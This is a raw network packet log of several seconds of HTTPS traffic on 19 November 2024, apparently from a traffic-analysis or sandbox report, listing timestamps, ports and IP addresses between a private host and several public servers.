Nov 19, 2024 20:05:31.721760988 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.721779108 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.721791983 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.721797943 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.724508047 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.724584103 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.724662066 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.724807024 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.724832058 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.834983110 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.835391045 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.835400105 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.836564064 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.836622000 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.837990046 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.838063955 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.838202953 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.838211060 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.890737057 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.891249895 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.891267061 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.891716003 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.891721010 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.893572092 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.937072039 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.937822104 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.937840939 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.938271046 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.938281059 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.140822887 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.140894890 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.141062975 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.141222000 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.141222000 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.141237974 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.141258955 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.141674995 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.141720057 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.141761065 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.141788006 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.141804934 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.141814947 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.141825914 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.141846895 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.141863108 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.141871929 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.142162085 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.142205000 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.142211914 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.147511959 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.147687912 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.147711992 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.147773027 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.147789001 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.147847891 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.147938967 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.147950888 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.148015976 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.149187088 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.149194956 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.187809944 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.190834999 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.190860987 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.190953016 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.190978050 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.199275017 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.200562000 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.200571060 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.203326941 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.203365088 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.203701973 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.204029083 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.204042912 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.223373890 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.223478079 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.223489046 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.225590944 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.225655079 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.225663900 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.226421118 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.226473093 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.226480961 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.226573944 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.226627111 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.226636887 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.227709055 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.227760077 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.227768898 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.232856035 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.232913971 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.232923985 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.238560915 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.238632917 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.238823891 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.238852024 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.238864899 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.238881111 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.238887072 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.239003897 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.239049911 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.239058018 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.241635084 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.241657972 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.241736889 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.241910934 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.241928101 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.244535923 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.244587898 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.244596004 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.250593901 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.250648975 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.250658989 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.274985075 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.275038958 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.275048971 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.277195930 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.277260065 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.277267933 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.278327942 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.278582096 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.278589964 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.281780958 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.281845093 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.281852961 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.287169933 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.287240028 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.287246943 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.292624950 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.292663097 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.292678118 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.292685986 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.292761087 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.297991037 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.308336020 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.308408976 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.308418036 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.360905886 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.360917091 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.409281969 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.520210028 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:32.520253897 CET	443	49797	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:32.520396948 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:32.520808935 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:32.520824909 CET	443	49797	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:32.590940952 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591027975 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591058969 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591094971 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591118097 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591145039 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591157913 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.591182947 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591195107 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.591334105 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591373920 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591392040 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.591399908 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591442108 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.591609001 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.591779947 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.592336893 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.592344999 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.592475891 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.592511892 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.592540026 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.592561960 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.592570066 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.592654943 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.593363047 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.594249964 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.594263077 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.594772100 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.594777107 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.595757961 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.595798969 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.595815897 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.595824003 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.595856905 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.595902920 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.595911026 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.595951080 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.596319914 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.596369028 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.596427917 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.596436977 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597045898 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597074032 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597101927 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.597110033 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597512007 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.597518921 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597841978 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597898006 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.597942114 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.597949982 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.598244905 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.598530054 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.598567963 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.598686934 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.598735094 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.598869085 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:32.598884106 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:32.599244118 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.599354029 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.599808931 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.599822044 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.707844019 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.707897902 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.707988024 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.708256960 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.708271980 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.708281994 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.708288908 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.708822966 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.708981991 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.709054947 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.709440947 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.709472895 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.709494114 CET	49791	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.709501982 CET	443	49791	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.711680889 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.711703062 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.711965084 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.712028027 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.712064981 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.712143898 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.712157011 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.712168932 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.712388039 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.712408066 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.780318975 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.780889988 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.780921936 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.781389952 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.781398058 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.823887110 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.824454069 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.824476957 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.824934006 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.824942112 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.854552031 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.855494976 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.855516911 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.855896950 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.855967999 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.856621027 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.856710911 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.857620001 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.857688904 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.857933998 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.857933998 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.857950926 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:32.884790897 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.884865046 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.884936094 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.885138035 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.885158062 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.885171890 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.885179043 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.886073112 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.886446953 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.886464119 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.886889935 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.886898994 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.887639046 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.887666941 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.887814999 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.887933016 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.887948990 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.907596111 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:32.932584047 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.932657003 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.932773113 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.932949066 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.932967901 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.932979107 CET	49794	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.932985067 CET	443	49794	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.935544014 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.935575008 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.935674906 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.935832977 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.935837984 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.985312939 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.985393047 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.985466003 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.985642910 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.985665083 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.985675097 CET	49796	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.985682011 CET	443	49796	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.995218992 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.995260954 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:32.995472908 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.996299982 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:32.996313095 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.078175068 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:33.078718901 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:33.078821898 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:33.080426931 CET	49795	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:33.080450058 CET	443	49795	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:33.157552004 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:33.157596111 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:33.157674074 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:33.160761118 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:33.160787106 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:33.230047941 CET	443	49797	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:33.230494976 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:33.230509996 CET	443	49797	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:33.231009960 CET	443	49797	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:33.234247923 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:33.234333038 CET	443	49797	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:33.286245108 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:33.346977949 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.348335981 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.348417997 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.349123955 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.349143028 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.363482952 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.363946915 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.363970041 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.364648104 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.364654064 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.446980953 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.447052956 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.447124958 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.447345018 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.447345018 CET	49799	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.447391033 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.447418928 CET	443	49799	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.450320005 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.450357914 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.450531006 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.450738907 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.450751066 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472067118 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472085953 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472138882 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.472160101 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472305059 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.472315073 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472326040 CET	49798	443	192.168.2.7	13.107.246.45
